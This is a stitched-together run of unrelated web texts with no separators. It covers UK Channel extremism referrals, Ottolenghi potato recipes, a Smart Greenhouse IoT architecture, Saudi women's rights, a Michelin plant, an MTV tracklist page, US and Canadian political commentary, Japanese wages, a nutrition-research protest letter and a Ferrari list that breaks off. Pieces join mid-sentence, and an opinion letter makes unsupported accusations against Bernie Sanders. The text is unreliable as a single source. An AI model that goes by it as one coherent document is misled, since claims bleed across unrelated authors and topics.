There were 525 referrals for far-right extremism but the nature of the remaining 728 cases was not specified in the response.
Online radicalisation
Channel is an "early intervention" scheme, designed to work with individuals of any age who are at risk of being exploited by extremist or terrorist ideologues.
The programme was set up after the 7 July London bombings and is a way for the police and other agencies to work with people, some of whom have been radicalised online.
But participation in the programme is voluntary and, in the case of children, parental consent is needed.
Under laws brought in last summer, schools, prisons, the NHS, and local authorities in England, Wales and Scotland have a legal obligation to spot individuals who might be vulnerable to extremism and radicalisation.
It followed a number of high profile cases in which young people have left the UK to join militant groups in Syria and Iraq.
Tailored support
The National Police Chiefs Council (NPCC) says it dealt with 3,872 Channel referrals last year, up from 1,701 in 2014.
The number of children subject to referrals increased from 663 in 2014.
The NPCC said it was unable to disclose the youngest age of a child referred to Channel last year because of rules governing security and personal information.
It had previously revealed that a four-year-old was referred in 2014, along with other members of their family.
Last month, a separate FOI request by the BBC found 415 children aged 10 and under, and 1,424 children aged 11-15 were referred to Channel between January 2012 and December 2015.
The NPCC said Channel "provides an appropriate support package tailored to an individual's needs".
"Channel works in a similar way to other initiatives that have sought to support individuals at risk from involvement in gangs, drugs and other social issues," it said.
The government has said the Channel programme had shown it could change lives and pull people away from extremism.If the British Isles had an official vegetable, it would have to be the potato. After a decade and a half of living here, I think I know just about all there is to know about spuds: how to parboil them before roasting in hot oil or goose fat; how to toss them with butter and chopped curly parsley; how to mash them with milk and butter; and how to bubble-and-squeak them the next day. Not only that, but my Irish mother-in-law Greta is forever lecturing me about the rights and wrongs of preparing "tatties".
But for all the simple beauty of these time-honoured favourites, there is so much more you can do to showcase the potato's versatility and ability to take on other flavours. My beloved Greta may well deem today's recipes as verging on the blasphemous, but they do put her favourite tuber in a fresh context.
Consider, for example, the marriage of chips and ketchup. The reason the relationship endures is that it's never boring. Yes, there's the sweetness of the tomatoes, but there is also a touch of saltiness, bitterness and umami-rich flavour. Now take this sweet element one step farther, and add a few plump prunes and some brown sugar to a tray of roasting potatoes: the resulting caramelisation of the fruit will add an extra sweet note and depth of flavour to any roast bird.
A similar approach can be applied to imaginative effect in a potato tatin, where new potatoes replace the apples, and are layered with a salty element or two such as feta, olives or anchovies. Likewise, try any sweet, soft herb – dill, mint, chervil, chives, say – instead of the more commonly used parsley.
And if it's bitterness or acidity that floats your boat, try dressing new potatoes with lemon-infused oil. One Indian-inspired favourite of mine is mashed potato mixed with lemon juice, breadcrumbs, coriander and chilli, shaped into patties, fried and served with chutney and yoghurt. Not even Greta would object to that.
Iranian vegetable stew with dried lime
Serve this sweet, sharp stew with steamed rice. Serves six.
50g clarified butter
1 large onion, peeled and finely diced
½ tsp ground turmeric
1½ tsp cumin seeds
1 tbsp tomato paste
20g coriander
10g tarragon
10g dill
1kg waxy potatoes, peeled and chopped into 4cm chunks
1 butternut squash, peeled, deseeded and chopped into 4cm chunks
3 Iranian limes, pierced 2-3 times
1 whole green chilli, slit on one side from stem to tip
Salt
5 medium tomatoes, quartered
150g spinach leaves
15g barberries
300g Greek yoghurt (optional)
Heat the oven to 180C/350F/gas mark 4. Put a large casserole dish on medium heat and sauté the butter, onion, turmeric and cumin for 10 minutes. Add the tomato paste and cook, stirring, for two minutes. Tie all the herbs into a bunch and add to the pot with the potatoes, squash, limes, chilli, a teaspoon and a half of salt and a litre of water. Bring to a boil, turn down the heat and boil gently for 15 minutes, until the potatoes are semi-cooked. Stir through the tomatoes, spinach and barberries, crushing the limes gently as you do so, to release some of the juices inside.
Tip into a large roasting tray and bake, uncovered, for 20 minutes, until the sauce has thickened a little and the vegetables are soft. Remove from the oven and leave to sit for five minutes, then serve with a dollop of yoghurt on the side, if you like.
Super-rich white pizza
Yotam Ottolenghi's super-rich white pizza: 'There are few things that are not improved by the addition of a fried egg.' Photograph: Colin Campbell for the Guardian. Food styling: Claire Ptak
Tara, who assists me with recipe testing (among many other things), tells me one of her dad's favourite sayings is, "There are very few things in life that are not improved by the addition of a fried egg." When we tested and retested this recipe, the eggs came, and went, and returned again, so do try an egg-free version, if you prefer. Serves four to six.
500g King Edward potatoes
2½ tbsp olive oil
1 large onion, peeled and finely chopped
10g rosemary leaves, chopped
25g fresh oregano leaves, half of them chopped, the rest left whole
Salt and black pepper
60g anchovy fillets, half of them chopped, the rest left whole
120ml double cream
300g buffalo mozzarella
80g parmesan, coarsely grated
4 eggs (optional)
For the dough
230g strong white flour, plus extra for dusting
1½ tsp fast-action dried yeast
½ tsp baking powder
1 tbsp caster sugar
75ml olive oil
1 egg
100ml lukewarm water
Heat the oven to 240C/465F/gas mark 9. For the dough, put the flour, half a tablespoon of salt, the yeast, baking powder and sugar in the bowl of a free-standing mixer. Using the dough hook, stir on low speed to combine, then add the oil and egg. Stir again and, with the motor running, slowly add the lukewarm water. Mix until the dough comes together (add a little flour if it's very sticky), then remove from the bowl and knead on a lightly floured work surface for three minutes, until elastic and uniform. Place in a bowl, cover and put somewhere warm for an hour; the dough will rise, but not by much.
Meanwhile, put the potatoes in a baking tray and roast for an hour. Remove and, when cool enough to handle, cut them in half, scoop out the flesh in 3cm chunks and discard (or eat) the skin. Put the potatoes in a bowl, toss very gently with two teaspoons of olive oil and a pinch of salt, and set aside.
Put the remaining olive oil in a medium frying pan over a medium-high heat. Add the onion, rosemary and chopped oregano, stir in a quarter-teaspoon of salt and cook, stirring often, for about six minutes, until the onions have softened. Add the chopped anchovies, cook for two minutes, then stir in the cream for a minute and set aside.
Turn down the oven to 230C/450F/gas mark 8. Put two very large baking trays upside down in the oven to heat up, and line two flat baking sheets with baking parchment. Cut the dough in half and roll each half into a thin, 32cm-diameter circle. Transfer to the parchment-lined trays and spread the anchovy mixture over the top, leaving a 2cm border all around the edge. Dot the potatoes on top. Tear the mozzarella into chunks and scatter over, sprinkle over the parmesan and lay on the whole anchovy fillets and half of the whole oregano leaves.
Carefully lift the pizzas (and their supporting parchment paper) on to the hot baking trays. Bake for 10-12 minutes, until they're golden on top and the base is nice and brown; if adding the eggs, crack them on to the pizzas after they've been cooking for eight minutes (you want the whites set and yolks runny). Remove from the oven, sprinkle over the rest of the oregano and serve at once.
• Yotam Ottolenghi is chef/patron of Ottolenghi and Nopi in London.
His new More 4 show, Ottolenghi's Mediterranean Island Feast, starts next Thursday at 9pm.Introduction
This Smart Greenhouse was demoed at Re:Invent 2015. Here is a time-lapse video of the actual greenhouse getting built on the Re:Invent floor.
Greenhouse rising
Smart Greenhouse is a self regulating, micro-climate controlled environment for optimal plant growth. Climatic conditions inside the greenhouse, such as, temperature, humidity, luminosity, soil moisture are continuously monitored. Small variations in these climatic conditions trigger automated actions. The automated actions evaluate change and take corrective action thus maintaining optimal conditions for plant growth.
Architecture
Smart Greenhouse is a greenhouse with sensors and actuators. The sensors and actuators are connected to Intel Edison based micro controller. The micro controller send data and receive commands from a control center hosted in AWS cloud. Users can interact with Smart Greenhouse through a dashboard or a tablet application. Users can also issue voice commands to the greenhouse.
Architecture of Smart Greenhouse can be broken down into three major components
Connected greenhouse with Sensors and Actuators
Control Center
User Interaction devices
Lets look at each one of these in more detail.
Connected greenhouse with Sensors and Actuators
The connected devices inside the Smart Greenhouse communicate with AWS IOT service using Intel Edison micro-controller boards that are housed in the spine of the greenhouse. There are two micro-controller hubs, a sensor hub for gathering all the sensor data and an actuator hub controlling actuators associated with devices. Each of the hub micro-controller boards have a NodeJS based application running and talking to connected devices on one end and AWS IOT service on the other end. The NodeJS application running on micro-controller board talks to
Connected greenhouse hardware implementation details
Sensor Node
Sensor node is an Intel Edison microcontroller board with a NodeJS application running on it. The NodeJS application reads data from all the connected sensors every second and publishes the readings to AWS IOT service over a secured channel using MQTT protocol.
General data flow for the sensor node is as follows:
1. Read from connected sensors every second
2. Convert the readings into appropriate units
3. Envelope the readings into json based payload
4. Send the json payload as MQTT message to AWS IOT
Actuator Node
Actuator node is another Intel Edison microcontroller board with NodeJS application running on it. The actuator NodeJS application subscribes to a set of MQTT topics and waits for messages to arrive on these topics. The actuator MQTT topics convey commands for the actuators connected to the greenhouse. Data flow for actuator node is as follows:
1. Subscribe to actuator MQTT topics and listen for messages on these topics
2. When the message arrives, parse the message into command and determine the actuator associated with the message
3. Execute the command by sending appropriate signals to the actuator specified by the message
4. After a preconfigured delay, read the status of actuator and send the reading to AWS IOT message topic
Control Center
Control Center is backend infrastructure of the Smart Greenhouse involving Controller web application, Streaming web server and monitoring Lambda functions
Smart Greenhouse backend infrastructure consists of
Controller Web Application
Streaming Web Server
Monitoring Lambda functions
Controller Web Application
Controller Web Application is a set of RESTful APIs used to control the Smart Greenhouse. This is a NodeJS application utilizing ‘expressesjs' for request response handling and ‘passportjs' for authentication. This application accepts REST PUT commands to carry out various IOT Greenhouse tasks such as opening a window vent or turning on a sprinkler.
Streaming Web Server
Streaming Web Server is used to communicate status of Smart Greenhouse to the interested parties in real time. This is a WebSockets streaming server based on NodeJS. It listens for MQTT topic updates from IOT Greenhouse and publishes these updates on a streaming WebSockets channel. Front-end application running in a browser can get real-time updates from this channel about the conditions in greenhouse such as current temperature, humidity and luminosity. Actuator state updates are also communicated on this channel.
Monitoring Lambda Functions
Conditions in greenhouse such as, temperature and humidity are monitored continuously by triggering AWS lambda functions through IOT rules engine. Lambda function then evaluates the readings for conditions such as ‘temperature is greater than 75 degrees Fahrenheit for 5 seconds and for at least 3 readings’. If condition is satisfied, a set of preconfigured actions such as opening a vent, turning on fan and switching off humidifier are fired.
User Interaction devices
Users can interact with the Smart Greenhouse using a dashboard, through voice prompts or using a tablet app
Dashboard
The web-based dashboard shows real-time graph of current temperature, humidity, soil moisture and luminosity. Greenhouse fan, ventilation windows, overhead lamp, led light and humidifier can also be controlled by the web-based dashboard application.
Voice prompts
Simple commands such as ‘Alexa turn on the fan’ can be used with Amazon Echo device to activate the fan. The Alexa commands currently supported for the smart greenhouse are:
1. Alexa what is Internet of Things
2. Alexa turn on/off fan
3. Alexa turn on/off vents
4. Alexa turn on/off overhead lamp
Tablet app
Accenture developed an android app, which has similar functionality as that of the web based dashboard. This app can also be used to interact with the Smart Greenhouse.On April 19, United Nations member states elected Saudi Arabia to serve on the UN Commission on the Status of Women, a body “dedicated to the promotion of gender equality and the empowerment of women.”
But how does this repressive government deal with Saudi women who strive to achieve the commission’s own stated goals?
Several days before the vote, Mariam al-Oteibi, 29, fled abusive family members in al-Qassim Province for Riyadh, only to be captured by authorities captured and jailed for having the temerity to dream of making her own life decisions. She currently sits in Buraida Prison back in al-Qassim.
Mariam chafed for years under the oppressive male guardianship system which forbids women from obtaining a passport, marrying, or traveling abroad without the approval of a male guardian, usually a husband, father, brother, or son. Authorities previously arrested Mariam briefly in November 2016, after she attempted to file an abuse claim against her brother, but her family pre-empted her and had her jailed on a counter “disobedience” complaint. Following a brief detention, authorities returned her to her family and the abuse continued.
Mariam isn’t alone. On April 10, Dina Ali Lasloom, 24, attempted to flee to Australia from Kuwait to escape the restrictions imposed by her family, only to be returned to Saudi Arabia while in airport transit in Manila in the Philippines. According to a Saudi official, she is now in a detention center facing indefinite detention or possible forced return to the family she fled.
Saudi Arabia has made marginal improvements on women’s rights in recent years, primarily in employment and access to higher education, but such changes have been hindered or even nullified because authorities have allowed the male guardianship system to remain largely intact, enabling men to maintain control over female relative’s lives.
Saudi Arabia’s election to the commission, which was supported by 47 states, including at least three European countries, is an affront to the mission of the commission itself and a rebuke to Saudi women. Belgium’s prime minister later said he regretted his country’s vote.
The Saudi government's seat on the commission should not stop it from standing with Saudi women seeking to empower themselves. It can start by calling on Saudi Arabia to release Mariam al-Oteibi and Dina Ali Lasloom, and guarantee their right to travel freely, live independently, and make decisions for their own lives, and then urge the government to finally deliver on its promise to take holistic steps to scrap the guardianship system altogether.Michelin's latest plant in Mexico will report to Greenville-based Pete Selleck, chairman and president of Michelin North America.(Photo: KEN OSBURN)
SHARE
By Rudolph Bell, dbell@greenvillenews.com
Michelin executives say a plant under construction in central Mexico will have no impact on South Carolina operations.
The French tire maker announced plans to build its 21st North American plant in Leon, Guanajuato, to produce tires for passenger cars and light trucks.
The $510 million plant is expected to commence production in late 2018 and initially make up to 5 million tires a year to supply auto factories in Mexico and the North American consumer market, according to Michelin.
Stephanie Tarbet, a spokeswoman for Greenville-based Michelin North America, said Tuesday that the Mexican plant won't take anything away from the company's operations in South Carolina.
In a statement to The Greenville News, she called the plant "good news for our company in Mexico, North America and globally."
Tarbet said the Mexican plant would be part of Michelin North America and report to its president, Pete Selleck, in Greenville.
In a separate statement Monday announcing its second Mexican plant, Michelin said it chose the location because it's a three-hour drive from 18 auto factories and that most of the tires made at the plant would be sold to automakers.
Being close to those customers will allow faster and more cost-effective delivery of product with less carbon emissions, Michelin said.
Numerous automakers have announced plants in Mexico in recent years, including BMW, which said last month it would make its 3 series vehicles at a $1 billion factory in San Luis Potosi beginning in 2019.
Michelin already employs about 580 people in Mexico, at its Mexican headquarters and a tire plant in Queretaro, according to a company fact sheet.
Michelin numbers its South Carolina workforce at 9,400, far more than any other U.S. state.
The bulk of those employees are at nine plants in Anderson, Greenville, Spartanburg and Lexington counties.
Michelin last year suspended operations at its earthmover tire plant in the Anderson County community of Starr, citing a slowdown in the global market for the giant tires.
Michelin says it allocated $2.1 billion for capital improvements in South Carolina over the past five years, 75 percent of what it spent in the entire United States over the period.Here you can find a bunch of complete (when possible) tracklists of MTV's CHILL OUT ZONE, spanning all the various iterations of the show across Europe. Obviously, this section will constantly be getting bigger and bigger! You're encouraged to contribute by sending missing editions and corrections to the following address: windowlicker85@hotmail.com ; please don't forget to include the date of the broadcast...! If you've been a devoted Chill Out Zone-viewer since the early days but you don't recall every single video which used to appear on the show back in the day... THIS IS YOUR CHANCE TO FRESHEN UP YOUR MEMORY!!! Just click on the following links to check out all the playlists this website has to offer and, if you need more, click here to see the pan-European tracklist compiled also thanks to YOUR help!Did the GOP establishment steal the Maine caucuses away from Ron Paul? That’s what some Paul supporters are grumbling this morning. They suspect that another Republican campaign conspired with the Maine state GOP to suppress Representative Paul’s vote.
That other Republican campaign is Mitt Romney's, though the Paul campaign is not saying so directly. But who else is the establishment backing at the moment? If you think it's Rick Santorum or Newt Gingrich, we've got a moon base we'd like to sell you. It's cheap – and statehood's impending!
Here’s the Paul camp’s thinking: On Saturday, Maine GOP chairman Charlie Webster announced that Mr. Romney had won the statewide caucus presidential preference poll with 2,190 votes, or 39 percent. Paul, the only other candidate to seriously contest the Pine Tree state, came in second with 1,996 votes, or 36 percent.
Romney claimed victory, but Paul did not concede. His supporters point out that the preference poll is not yet finished. Among other things, the caucus for Washington County, scheduled for Saturday, was cancelled due to the threat of inclement weather. The conspiracy theory holds that “snow” was just an excuse, and that the real reason they pulled the shades down was fear of a Paul victory.
Washington County’s votes would have put Paul over the top, claimed Paul’s campaign manager John Tate in an e-mail to supporters.
“The caucus was delayed until next week just so the votes wouldn’t be reported by the national media,” charged Mr. Tate.
Who are the conspirators here, according to the Paul team? The “GOP establishment and their pals in the national media, [who] will do anything to silence our message of liberty,” said Tate.
Hmmm. Perhaps we didn’t get that message from our overlord Bret Baier. But we do have this to say about the alleged caucus theft:
First, these people have never been to Washington County in the winter. It’s the far northeastern part of Maine, so far up that Portland might as well be Miami. We have been there in January, and it was so cold ice formed on the car windows as we drove. The inside of the car windows.
Also, the roads in Washington County are narrow and slippery at best. Read the Bangor Daily News – the two-car head-on collision is a staple of winter coverage. We’re not going to question anybody’s weather-related call up there.
That said, it’s also unlikely that Washington County’s votes would have thrown the preference poll Paul’s way. The invaluable polling analyst Nate Silver at the New York Times FiveThirtyEight blog points out that in 2008 fewer people participated in the Washington County GOP caucus than the current gap between Romney and Paul. So even if Paul won 100 percent of that turnout, he would have lost.
Of course, given the spotlight now shining on the county, it’s possible Paul supporters will pile in when the caucus is actually held, inflating the numbers. We’ll have to wait and see.
But the real bottom line is this: The presidential preference poll held at Maine caucuses does not matter. It has no influence on the allocation of Maine’s 24 delegates to the GOP convention in Tampa, Fla.
What did matter at Maine’s caucuses was the second phase of the action – selection of delegates to the state GOP convention, which in turn will allocate those precious 24 national votes. |
the "tone" of stories about Donald Trump have tended to be fairly negative overall. But the negative tone is no more proof of bias than coverage of Trump's presidency could be considered proof of bias in favor of the president.
A report from the Harvard Kennedy School's Shorenstein Center of Media, Politics and Public Policy found Trump dominated media coverage in the first 100 days of his presidency, with three times the amount of coverage compared to recent presidents.
But isn't CNN, at the top of the list with 93% of its stories deemed negative, clearly biased? InfoWars sure thought so, calling the study proof of "overwhelming anti-Trump media bias," while the American Thinker said the study's results proved "a shocking level of media bias against President Trump...the extreme percentage of negative coverage of the president is absolutely breathtaking."
But breathtakingly negative media coverage doesn't equate to "a shocking level of media bias." Remember, the study looked at tone. Here's how the researchers defined it:
Tone is judged from the perspective of the actor. Negative stories include stories where the actor is criticized directly. An example is a headline story where Senate minority leader Chuck Schumer criticized Trump when the Labor Department’s April economic report showed that fewer jobs were created than had been predicted. Schumer was quoted as saying, in part: “Eleven weeks into his administration, we have seen nothing from President Trump on infrastructure, on trade, or on any other serious job-creating initiative.” Negative stories also consist of stories where an event, trend, or development reflects unfavorably on the actor. Examples are the stories that appeared under the headlines “President Trump’s approval rating hits a new low”and “GOP withdraws embattled health care bill, handing major setback to Trump, Ryan.”
Is it bias to report that the president's approval ratings are historically low, or that Trump's efforts to enact his policies have been delayed and overwhelmed by constant questions about Russia, the firing of FBI Director James Comey and other self-inflicted wounds?
When your company delivers a product that doesn't work, and customers get angry about it, it's not biased for reporters to tell the story--which would clearly be "negative" in tone.
The stories reviewed for the Harvard report weren't exactly slam pieces, as the people interviewed or speaking were almost exclusively Republicans:
Trump did most of the talking. He was the featured speaker in nearly two-thirds (65 percent) of his coverage. Members of the administration, including his press secretary, accounted for 11 percent of the sound bites. Other Republicans, including Mitch McConnell and Paul Ryan, accounted for 4 percent. Altogether, Republicans, inside and outside the administration, accounted for 80 percent of what newsmakers said about the Trump presidency.
The simple fact remains that Trump loves media coverage--and the media loves covering Trump. And he's getting exactly what he has worked for: he's the top story day in and day out. As the report details, "reporters are tuned to what’s new and different, better yet if it’s laced with controversy. Trump delivers that type of material by the shovelful."
That Trump--doing most of the talking himself, or through his surrogates--manages to produce such negative coverage may speak more about the man than it does the media.
"The fact that Trump has received more negative coverage than his predecessor is hardly surprising," the Harvard report says. "The early days of his presidency have been marked by far more missteps and miss-hits, often self-inflicted, than any presidency in memory, perhaps ever."Workers carry building material at a construction site as they rebuild a hospital in Tokyo December 24, 2013. REUTERS/Yuya Shino
TOKYO (Reuters) - Japan’s most influential business lobby has agreed to raise workers’ base pay for the first time in six years as the economy gains momentum and corporate earnings improve, the Asahi newspaper reported on Sunday.
Many economists say an increase in base pay is essential to Prime Minister Shinzo Abe’s pledge to end 15 years of mild deflation and to help the Bank of Japan meet its 2 percent inflation target.
The Keidanren business lobby will encourage its member companies to raise base pay next year in annual spring wage negotiations, the Asahi reported, citing a draft of the business lobby’s negotiations strategy.
The Keidanren will leave it up to each industry to decide how much it will raise base pay, but its approval of wage hikes could encourage labor unions to request even higher pay and help lift wages throughout the economy.
BOJ officials have expressed some concern that workers’ salaries have been slow to rise this year, so indications that pay will increase next year could make it more likely that the BOJ can meet its inflation target in the two-year time frame allowed for.The B.C. Green Party has agreed to support the NDP in the legislature, setting up the possibility of 16 years of Liberal rule coming to a dramatic end.
NDP Leader John Horgan and Green Party Leader Andrew Weaver made the joint announcement Monday afternoon at the B.C. Legislature, saying they had reached a four-year agreement.
"In the end, we had to make a difficult decision," Weaver told reporters, describing the negotiating sessions his party held with the NDP and B.C. Liberals since election night ended without a definitive result three weeks ago.
"A decision we felt was in the best interest of B.C. today. And that decision was for the B.C. Greens to work with the B.C. NDP to provide a stable minority government over the four-year term of this next session."
They called it a "historic" moment for B.C. Green Party Leader Andrew Weaver and NDP Leader John Horgan agree to work together. <a href="https://twitter.com/hashtag/bcpoli?src=hash">#bcpoli</a> <a href="https://t.co/Dawj370Zyn">pic.twitter.com/Dawj370Zyn</a> —@cbcnewsbc
Details of agreement to come
The deal gives the NDP the support of 44 MLAs — their 41 members plus the three Green MLAs — the minimum number required to have a majority of support in the 87-seat legislature. The Liberals have 43 seats.
The Greens and NDP said the agreement was a "Confidence and Supply Agreement," meaning a guarantee of support for any budgets or confidence motions. But additional details on what the NDP has agreed to in exchange for the Greens' support won't be released until the NDP caucus approves the deal on Tuesday.
"We're going to put the agreement before our caucus and have it ratified, and make it available to the public at that time," Horgan said.
There were many issues the two parties agreed upon during the campaign, including working to stop the Kinder Morgan pipeline and banning corporate and union donations.
But it's unclear what will happen with those issues they disagreed on, including whether electoral reform needs approval in a referendum or just the legislature, or whether the $8.8-billion Site C hydroelectric dam project should be scrapped or merely sent for review.
"We specifically did not ask for there to be a coalition," Weaver said. "We wanted to maintain a minority situation to show British Columbians that [it] can work."
Horgan said after 12 years as an opposition member, he's "excited by the prospect of working with opposition members to make B.C. better."
During today's <a href="https://twitter.com/hashtag/bcpoli?src=hash">#bcpoli</a> conference, Weaver and Horgan were asked if either had called Liberal Leader Christy Clark beforehand. The response: <a href="https://t.co/qSblAQjy6X">pic.twitter.com/qSblAQjy6X</a> —@cbcnewsbc
What comes next?
Under Canada's political system, B.C. Liberal Leader Christy Clark remains premier for the time being. She can now ask Lt.-Gov. Judith Guichon for the chance to face the legislature and introduce a throne speech, resign or request to dissolve the legislature and hold another election.
Horgan and Weaver are optimistic Guichon will see their agreement as strong enough to give the NDP the opportunity to form government without an election.
"We have the majority of support in the legislature. We'll be making that known to the lieutenant-governor in the next couple of days, and we'll proceed from there," Horgan said.
Clark didn't take part in the negotiations between her party and the Greens. A short time after Weaver and Horgan made their announcement, she issued a statement saying she would have more to say on Tuesday.
"In recent days, we have made every effort to reach a governing agreement, while standing firm on our core beliefs. It's vitally important that British Columbians see the specific details of the agreement announced today by the BC NDP and Green Party leaders, which could have far-reaching consequences for our province's future," she wrote.
"As the incumbent government, and the party with the most seats in the legislature, we have a responsibility to carefully consider our next steps."
CBC's legislative reporter Richard Zussman breaks down the likely scenarios. 2:42 Hamish Telford, a professor of political science at the University of the Fraser Valley, said Clark still has options but her chances of remaining premier for any length of time are dim.
"Does she throw in the towel now? Does she go to the lieutenant-governor and say, 'It's clear I'm not going to get the confidence of the legislature, I'm out'? I really don't think that's going to be the case," he said.
"All it's going to take is maybe one Green member or one NDP member to be sick and not make the [first budget] vote for [an NDP] government to survive. This is a very precarious situation."
But on Monday evening, it appeared to be a precarious situation firmly in the NDP's favour.
"The premier," Horgan said, "will have some choices to make, without any doubt."
WATCH: The full NDP-Green press conference
The leaders made the joint announcement Monday afternoon at the B.C. Legislature, saying they had reached a four-year agreement. 20:28
With files from Lisa JohnsonSen. Bernie Sanders, I-Vt. speaks to reporters onNov. 16 on Capitol Hill in Washington. (Photo: Andrew Harnik/AP)
Bernie Sanders must go
It is indeed true that Bernie Sanders has done absolutely nothing for the citizens of Vermont during the last two years while the 114th Congress has been in session, rarely showing up in Washington to vote for any pending legislation. For all his 10 years in the Senate he has been a member of the Senate Committee on Veterans Affairs and has done nothing as the scandals at the VA hospitals have worsened. He was the committee chairman in 2014 who approved the nomination of present VA Secretary Robert McDonald who is easily the most incompetent member of the Obama Cabinet which includes such luminaries as Loretta Lynch, John (Unfit for Command) Kerry, Ash Carter and Jeh Johnson.
Sanders’ wife, Jane Omeara, while president of Burlington College was responsible for bankrupting that institution yet is getting away scot free because Attorney General William Sorrell will not investigate her actions.
For someone who ponied up $650,000 to buy a home on Lake Champlain, you would think our Socialist senator could get his hair cut more than once every six months or buy his suits that don’t appear as if they came off the rack at the nearest Good Will store.
Sanders has also help elect Lt. Gov David Zuckerman and Vermont Sen. Chris Pearson, both of whom will be among the leaders trying to ram a carbon tax down the throats of overtaxed Vermonters next year.
I am calling for any Democrat who might be interested in running against Sanders in the senatorial primary in 2018 to step up. It is not too early to mount a challenge. I am willing to work 24/7 to help someone defeat Sanders in 2018. With all his many faults, Sanders by his actions gives both our native Brooklyn and all senior citizens a very bad name.
Jon Farber lives in Wheelock.
Read or Share this story: http://bfpne.ws/2gLqjXo'Nutrition' is now a degenerating research paradigm in which scientifically illiterate methods, meaningless data, and consensus-driven censorship dominate the empirical landscape. Since the 1950s, there was a naïve but politically expedient consensus that a person’s usual diet could be measured simply by asking what he or she remembered eating and drinking. Despite the credulous and unfalsifiable nature of this memory-based method, investigators used it to produce hundreds of thousands of publications and acquire billions of taxpayer dollars.
Over time, the sustained funding of demonstrably pseudo-scientific research methods has subverted the self-correcting nature of science and suppressed skeptical scholarship. Consequently, many decades of politics taking precedence over critical inquiry produced contradictory dietary guidelines, failed public policies, and the continued confusion over 'what-to-eat'.
To counter this blatant scientific illiteracy, we published analyses showing that self-reported diets in epidemiologic studies were physiologically implausible and could not support survival. Yet despite our findings and decisive conclusions, the consensus-seekers simply ignored our results and offered mere rhetoric and ad hominems to counter our data.
Recently, the National Academies of Sciences, Engineering, and Medicine published a report that exemplifies consensus-based censorship. The authors were well-aware of our work, yet failed to cite or address our refutations of self-reported data. Instead, they stated, "Self-report dietary intake data are central to the development of dietary guidelines" and "current methods being used in the [Dietary Guidelines] process…are indeed appropriate".
Memory-based research methods produce self-reported data that are implausible and should not be used to establish the Dietary Guidelines for Americans or regulate the $5 trillion US food industry. Thus, we sent letters to the Presidents of the National Academies hoping that critical thinking and accountability would prevail over political expediency. We have not received a reply.
Our Letter
Marcia McNutt, President, National Academy of Sciences
C. D. Mote Jr., President, National Academy of Engineering
Victor J. Dzau, President, National Academy of Medicine
Dear Presidents McNutt, Mote, and Dzau:
We are writing in reference to issues that impact the authority and reputation of the National Academies of Sciences, Engineering, and Medicine. Given that the public's trust in science depends on the integrity and diligence of those in positions of leadership, we hope that you address the scientific and public health concerns presented herein.
Recently, the National Academies produced a report that is extremely misleading to those that depend on the Academies' reports (e.g., elected officials and policy architects). "Redesigning the Process for Establishing the Dietary Guidelines for Americans" contained errors of fact and omission, and failed to address, or even acknowledge a large body of rigorous research that is explicitly contrary to the authors’ conclusions.
Beginning in 2013, we published scientific and policy articles with the express purpose of ending the use of memory-based (self-report) methods (M-BMs) and meaningless data in the formation the Dietary Guidelines for Americans. Our work refuted the validity of M-BMs and led to a great deal of media, political, and scientific attention, inclusive of congressional hearings and presentations to President Obama's Council of Advisors of Science and Technology. Despite being well-acquainted with our work, the authors and reviewers of the report did not cite nor address the refutations. Thus, a large body of contrary evidence was summarily excluded.
This consensus-based censorship and apparent willful ignorance threaten the credibility and legitimacy of the National Academies.
Briefly, the M-BMs employed in the National Health and Nutrition Examination Survey (NHANES) and other major nutrition studies produced data that were physiologically implausible, incompatible with life, and inadmissible as scientific evidence. For example, we used multiple methods to show that the energy intake data from 26,975 of 63,369 NHANES participants (42.5%) were below the level needed to support survival.
Implausible dietary data should not be used to establish the DGA; yet that is exactly what the National Academies’ report recommends, and you as Presidents, endorse.
By excluding our work, the authors misled their readers and obscured two facts. First, M-BMs do not measure dietary intake, they collect reported memories of perceptions of dietary intake. Actual dietary intake and memories of perceptions do not belong to the same ontological category (i.e., concrete and abstract, respectively), and are therefore incommensurable (nonequivalent). Thus, those who employ M-BMs commit the logical fallacy of misplaced concreteness (i.e., reification) when they assign nutrient and caloric values to reported perceptions as if these abstract data were the actual foods and beverages consumed. It should be obvious that perceptions of foods and beverages do not contain calories or nutrients; nor can they be seasoned, reheated, and eaten.
Second, M-BMs rely on the respondent’s honesty, ability, and willingness to estimate and report past dietary intake. Thus, without objective corroboration it is impossible to quantify what percentage of the recalled foods and beverages are completely false, grossly inaccurate, or somewhat congruent with actual consumption. Therefore, the measurement errors of self-reported dietary data were non-quantifiable due to misestimation, false memories, forgetting, and lying. These facts render M-BMs data pseudo-scientific and inadmissible as scientific evidence.
In opposition to the 'false facts' of the report, implausible data cannot be representative of the usual dietary intake of the US population. Our highly cited research suggests that these data are meaningless numbers derived from highly-edited anecdotes, and readers of the report are seriously misled by its omission.
If the mission of the National Academies is to provide "independent, objective advice to the nation on matters related to science," then the authors and reviewers of the report failed to meet their obligations. This demands remediation because the National Academies should not endorse the use of implausible dietary data to establish the Dietary Guidelines for Americans.
In closing, I hope that you investigate the circumstances that led to the misleading report, and address the significant scientific and public health concerns presented herein by retracting it.
Respectfully,
Edward Archer, PhD., MS
Chief Science Officer
EvolvingFX™
Carl “Chip” J. Lavie, MD.
Medical Director, Cardiac Rehabilitation and Preventive Cardiology
Professor of Medicine
Ochsner Clinical School-the University of Queensland School of Medicine
New Orleans, LouisianaFerrari's recent work is extraordinary, and the brand's back catalogue is loaded with desirable classics.
Like any car maker, there have been a few duds along the way.
As Ferrari celebrates its 70th anniversary, here are what we believe to be seven of the world's worst Ferraris:
READ MORE:
* Ferrari 70th Anniversary: Seven-best Ferrari models
* Ferrari plans 350 special edition cars to celebrate anniversary
* SP 275 Competizione is Ferrari's latest one-off stunner
* Ferrari's special topless LaFerrari sold out
1975 Ferrari 208 Dino GT4
Supercars should be fast, sexy and carefree. European tax structures are decidedly un-sexy, and it's those that we must thank for one of Ferrari's rare mis-steps. A smaller brother to the 308 GT4, the 208 GT4 was designed to take advantage of Italian tax laws penalising cars powered by cars with engines in excess of 2.0 litres.
The result was the world's smallest-ever production V8, a 1991cc unit that produced 125kW of power - 10kW less than today's four-cylinder Camry. While Ferrari doesn't offer a 0-100km/h time for the model, it does guarantee that it will get there before claiming a top speed of more than 220km/h.
1980 Ferrari Mondial
It says something that the cheapest second-hand Ferrari on sale around is usually a Mondial. While some Ferraris hold their value and others have increased dramatically, the unloved Mondial remains one of the cheapest ways into Ferrari ownership.
